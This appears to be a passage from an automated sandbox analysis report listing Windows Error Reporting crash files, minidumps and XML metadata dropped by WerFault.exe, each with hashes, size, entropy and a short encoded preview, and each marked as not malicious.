Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.3.3.3.2.5.5.3.8.3.9.2.7.2.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.3.3.3.2.5.5.4.5.4.2.4.0.1.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.5.0.b.3.1.6.0.-.8.2.0.8.-.4.c.d.e.-.a.d.4.7.-.2.6.5.d.c.d.0.f.c.0.a.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.0.2.9.7.e.e.3.-.c.3.a.7.-.4.e.6.b.-.8.b.e.1.-.b.f.2.d.4.3.5.e.2.9.8.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.E.W.D.N.0.G.9.B.R.D.a.z.V.J.e.a.t.N.l.A...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.7.8.-.0.0.0.1.-.0.0.1.4.-.5.1.9.4.-.6.c.3.2.c.d.c.2.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.3.c.6.f.6.7.4.4.2.d.3.1.9.8.4.7.1.a.1.7.8.e.d.5.c.4.8.c.7.8.7.0.0.0.0.f.f.f.f.!.0.0.0.0.7.b.f.7.0.f.6.8.2.0.4.b.0.d.9.0.5.d.1.8.b.1.f.9.4.d.8.6.0.8.8.f.1.6.a.1.5.d.1.f.!.E.W.D.N.0.G.9.B.R.D.a.z.V.J.e.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_JNXEsB3lt_ta57yv_607af6052991052f47cdc5fb195f29a0c94ae5_2339926d_c9e0547c-3e03-45e4-a302-bbb57be5e64b\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6932840607558631
Encrypted:	false
SSDEEP:	192:Ke0vYEpB0Fkfb45LJjRzuiFwZ24IO8gPV:VUYEpCFkfb4bjRzuiFwY4IO8iV
MD5:	FED17C0B1352107C641D7F809376B3E4
SHA1:	C46010DCDCDFDCFFBF5FF30B88772222BBBE2E5A
SHA-256:	5E73BD7AD1A9585B27E8164FA716030343191EE4C880F4744FB041E8E62DB024
SHA-512:	4ED8FDFF7D5EFA10D02E9E4FF8882E67F46C546F49D17D352C26E1C86E224BAF10C6533EA72968C4C4C5A4F78F19F1AA2B2161D0D5F95D44C7018CC38DBB3127
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.3.3.3.2.5.5.2.7.1.0.2.1.5.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.3.3.3.2.5.5.3.1.7.8.9.6.5.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.9.e.0.5.4.7.c.-.3.e.0.3.-.4.5.e.4.-.a.3.0.2.-.b.b.b.5.7.b.e.5.e.6.4.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.2.9.0.6.8.f.5.-.b.a.6.8.-.4.d.c.8.-.9.5.6.6.-.f.5.f.6.f.9.a.f.a.e.c.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.J.N.X.E.s.B.3.l.t._.t.a.5.7.y.v.H.0.n.X...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.9.8.-.0.0.0.1.-.0.0.1.4.-.4.d.2.f.-.9.9.3.1.c.d.c.2.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.7.6.e.d.3.5.0.5.2.f.2.1.8.8.a.a.9.a.6.1.1.2.9.6.e.a.3.3.f.3.a.0.0.0.0.f.f.f.f.!.0.0.0.0.7.0.1.6.1.5.0.5.8.5.3.a.4.c.b.3.b.2.d.c.7.e.b.6.9.0.b.d.e.8.b.0.f.2.3.b.4.d.8.2.!.J.N.X.E.s.B.3.l.t._.t.a.5.7.y.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_UD9d3d9BDMOjLcXw_6166d458602a851817b06b727abe87e29ac67d2_55a4e746_1f956de4-c9fb-42b8-a416-8e4ac9244987\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6902655130432878
Encrypted:	false
SSDEEP:	96:XiiF0E9cyziKsQhqB1yDfRgBQXIDcQvc6QcEVcw3cE/yKf+HbHg/opAnhZAX/d5E:hPiKcy0BU/GKEjRzuiFwZ24IO8VQ
MD5:	879389E967D0EE0C8B2CFEBAC460F64A
SHA1:	CE7F4B8FFB8E8AE50536B0753E1B67982CAA722E
SHA-256:	1551175F4E25ED599EBFFB335BCFA50011BE00064F85956E6703C6639FCA1BCE
SHA-512:	C758ADE803BA4419C2A58164228C6264F6EC5E501B2E307BAE1D92712682B02FA6FFBD4A91500BE958C827F010D95F642F9AA6C6DC11DC90AC010D68CD4B3AB5
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.3.3.3.2.5.5.5.1.6.8.9.0.7.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.3.3.3.2.5.5.5.9.9.7.0.4.1.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.f.9.5.6.d.e.4.-.c.9.f.b.-.4.2.b.8.-.a.4.1.6.-.8.e.4.a.c.9.2.4.4.9.8.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.f.9.3.1.9.5.d.-.c.1.f.a.-.4.4.5.3.-.8.7.5.7.-.4.d.9.9.b.e.5.6.3.a.d.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.U.D.9.d.3.d.9.B.D.M.O.j.L.c.X.w.Y.z.j.P...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.5.0.-.0.0.0.1.-.0.0.1.4.-.c.4.9.d.-.5.e.3.3.c.d.c.2.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.4.c.0.f.2.7.a.e.0.0.4.9.6.5.5.2.3.3.8.c.6.1.3.d.7.b.7.c.8.1.d.0.0.0.0.f.f.f.f.!.0.0.0.0.3.4.2.5.c.4.a.4.d.b.e.5.f.8.2.c.a.8.9.b.f.9.f.3.6.4.2.1.3.2.d.b.e.e.5.d.d.3.0.c.!.U.D.9.d.3.d.9.B.D.M.O.j.L.c.X.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER102B.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8378
Entropy (8bit):	3.704701845983591
Encrypted:	false
SSDEEP:	192:R6l7wVeJ2g6Lc6YvY6qwXhgmfdJJrL0prT89boBsfnz4m:R6lXJh6A6Yg6fXhgmfdJJ/Fo6fnJ
MD5:	52726C783250B3C467C94DBD70EEA502
SHA1:	8CCB146B339939E3EA2977B8616E6548E47B3046
SHA-256:	BDF74E006FEF3A9095D9DC05302971030B3B1E78E2E165AE5BF917134443DD38
SHA-512:	C7A5E3AE6790AD8A8BC9E09DF5B0432BF30C6E35EE8C2C4CD944855D94C4F01824D945314E4B19AE63173C8CE53387F6373838419AE83911969186A4B78176BA
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.0.6.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER105B.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4685
Entropy (8bit):	4.545758472559245
Encrypted:	false
SSDEEP:	48:cvIwWl8zsMJg77aI9MnWpW8VYi7gYm8M4JxlFTFTT+q8WUmFpc7a7ed:uIjfKI7GW7VNtJ/TpFWqed
MD5:	7D69B163B9D22962A1052E96C21C2181
SHA1:	816AEED79E4F753E74CE72EFF9BD0BC55E29261C
SHA-256:	FDF81796BF37A9CC213DBD6E3FAB2460F0FEBC97B894D17D5C40E91280942242
SHA-512:	C83E5DBAB9C30D9723E775FD99CE97629A76F28C2F25266825BE42D76BCBC260EA4F9738EB4D3313A18F5C32D470AE16B8516485EDA6A3B67A436295C7789637
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="375591" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1402.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Jun 20 04:49:13 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	40902
Entropy (8bit):	1.7000741640538386
Encrypted:	false
SSDEEP:	96:5/8gpWaV68JGnRD6X+i7G7xQ2vCn81JP3W/N7245yBlVieJ2pc1luXCWWIkWIXae:y5jZOx81ZkHyBlVGyHEfLkTrhs
MD5:	D1BB05E5B352B6FC356AA8CD4A7D0B38
SHA1:	AB7B8C6E39E1B74D09759DFF01AF611FB192485A
SHA-256:	88B25BA32838D6D62837CEC8A58BA1804C0A384548571DC7E15DB8F19AFDFB1A
SHA-512:	71A6F47ACB9E1051B17BC1A737B6F211984B9D5DEDA95046526AD998ABD509B0D0421165C16B4DD0C5E8446054F0678F055C8AACFD73B714B3F080F68807A034
Malicious:	false
Preview:	MDMP..a..... ........sf........................<...........$...............T.......8...........T...........(...........................................................................................................eJ..............GenuineIntel............T.......x....sf.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER14AF.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8376
Entropy (8bit):	3.706958660974744
Encrypted:	false
SSDEEP:	192:R6l7wVeJ5x6rkKv/6Yvg6twDtgmfdJJQ0pr089b+bsf+4qm:R6lXJP6r56Yo6eDtgmfdJJQw+gfR
MD5:	B9632EB3D37400AA3C110664E7915BE1
SHA1:	92E771EAE3A606CB202F9998C24CB6E48930CFDC
SHA-256:	74DA76A9FE31BC776F80294C270CBBCEAB789CC53981B4111E42F8F8E691086B
SHA-512:	31157F949763D2BB309E028BCD9FD171CAD1ADDAF03EE2485DDAF45FDE5550B49B738CD959E01322E1CE9E2248C74CBADAD0C7CA01218739D142CA0A12F248CE
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.0.3.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER14FE.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4685
Entropy (8bit):	4.563298114041012
Encrypted:	false
SSDEEP:	48:cvIwWl8zsMJg77aI9MnWpW8VYiWYm8M4Jn5FXt+q8brJ4pwtRd:uIjfKI7GW7VhJbtintRd
MD5:	AC28CC0A3F899A9063F9FDBFF657C77B
SHA1:	5D37A860B83B54FF8B2D083911E68ABE59F234A9
SHA-256:	F5464115AC56B2F3BF85A431CD6665F1CD0178EBDE85AE89489F95C1B32A5D65
SHA-512:	0A0170DA6F20F09B4B31A07C1E87879DFA6A41834767A43A56621BD686298653731EF1DA0B0DA7ABBEB4EDB623B079AF286A2B5BFA4A7D37B6C201956C911B52
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="375591" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1942.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Jun 20 04:49:15 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	41878
Entropy (8bit):	1.6556820712459728
Encrypted:	false
SSDEEP:	96:5x8M1s/Z68JGnRDbSi7GUVuSH76lXSi160Jjl49IjKJWIkWI5IITWb84B3mX1w+:svIHSO7691JJewWb84B3mX1w
MD5:	E51D6FD31CA0EF764999CFA8F5FF269B
SHA1:	5A8883AC9560DD75DEAA2B920D7798EF5936384C
SHA-256:	A0B154BC6CAA167096198E06C3907606BA041CFC66A089CB3CEE981345F20354
SHA-512:	AB6F1B691C8BC4D85C4AF23BFF3F12A23C3876E03B225F9DD6729B2FCD58D3E0FDCD525469694E65B5313DE8D2A048589D0A05453D5FFFBE9FD25DFF09FFA0D3
Malicious:	false
Preview:	MDMP..a..... ........sf........................<...........$...............T.......8...........T...........P...F.......................................................................................................eJ..............GenuineIntel............T.......P....sf.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER19FF.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8326
Entropy (8bit):	3.704526880285885
Encrypted:	false
SSDEEP:	192:R6l7wVeJPoc6f6Yvl6RwDtgmfmqJDZ0prP89bHpsfVtm:R6lXJD6f6Yt6iDtgmfTJDZRHCf+
MD5:	2B76862F5B985F6DC1176572F305E16B
SHA1:	DE99C238305A754D9659E80FC29A9D142493F913
SHA-256:	717026561D7F0456B5048F8AFD9F4DDB4360F3C45EF6839BF19A6308966A6123
SHA-512:	045CE9FD804DA0A2F41CC7599A29FB13FA0A0B3BA00C6133FA733BE14217EF4AC841966C5458C25EA166501A00D4C7411B4EB6960A096DFCA0813C868A639817
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.3.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1A5D.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4635
Entropy (8bit):	4.522107766243289
Encrypted:	false
SSDEEP:	48:cvIwWl8zsMJg77aI9MnWpW8VYi5Ym8M4JfisiFg+q8aTAnBI3Ind:uIjfKI7GW7VCJfiAP8nBI3Ind
MD5:	6F776065EFFB1635414EE9269B655744
SHA1:	A108D335948ED09A021B963A698B9F75D6E9F5E9
SHA-256:	ECFE7554BA4F6F06796482546376011B11752272F21677B80F4885BC4D00107A
SHA-512:	9024D455643EA746F7B55D5F488529499DAEA9F6F111BE327853258E0E4B3C7B143D6B21B606B47A5639971A7A4662CF233DCC99156EE6199F34B9B27F6300AD
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="375591" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDCE5.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Jun 20 04:48:59 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	41990
Entropy (8bit):	1.6906441002856438
Encrypted:	false
SSDEEP:	192:8FUKrK/OIyRdIt/nyBRV+0pO6MUMLfG93oA:PKrK2IadIGRVk6RQfGB
MD5:	CE0E003D89F56309186D1A3E6A1F37DC
SHA1:	999C336D373827C0E9CA9B4D31133A3EDCA78CB1
SHA-256:	02D9CFCEBA7B78A4220AF46A6B3E347F62A502DAEF812552924642844C02162D
SHA-512:	EF8D74786E4793052C41B329724BC1A276964764CA5CFAE7E0A9BB9086230255C290162574CF1CDEBADDEB8B2792CA170282FBAA5F5F6B8E426BDF00B3DF7883
Malicious:	false
Preview:	MDMP..a..... .........sf........................<...........$...............T.......8...........T...............>.......................................................................................................eJ..............GenuineIntel............T.............sf.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDD34.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8350
Entropy (8bit):	3.703104321508819
Encrypted:	false
SSDEEP:	192:R6l7wVeJjJ6RE6Y9ESUNBgmfaJJv0prt89b+NsfLqm:R6lXJt6S6YuSUNBgmfaJJv7+GfX
MD5:	768A2436748DF28F04A060F4C61E1956
SHA1:	11A5D80DE98F36AACA33D4CF0D79DCC20190229E
SHA-256:	C3491BDEF3F692FDFFA6E03BD56DFE8757CA9780F9DB5609AB6DFA69F97AA81B
SHA-512:	A3D7C29ABD3A59CD3D5B875731C13FB9A9A0428DBF90AFAC46E9FB267501F463FAC0F67D6B9509CD4D07B1ECCC0F86CB00D3C7E29C892C3A1E9C20E1F15C702B
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.6.6.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDD54.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4635
Entropy (8bit):	4.518878923582619
Encrypted:	false
SSDEEP:	48:cvIwWl8zsMJg77aI9MnWpW8VYiw1vYm8M4JR6Fh+q8q73epKAFd:uIjfKI7GW7VwyJM/O0AFd
MD5:	27D1BFAB6029808D22D6837E5A90FEDE
SHA1:	3995E107FFBB0A48B41894E2A4BE7E0ABA25DE83
SHA-256:	CFAFE522DF74A9B83EDCCF3EE11BDAEECB79EFB1D3B012468640C7EEE525CD30
SHA-512:	5AB965512E0FEF29FE2844D455F16E21F6A1343325309715CDA293D01BB355C3C8D13957D6138CBDBBE606D836837AF67FDBBA36F7792F88ABE3855843E20375
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="375591" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg 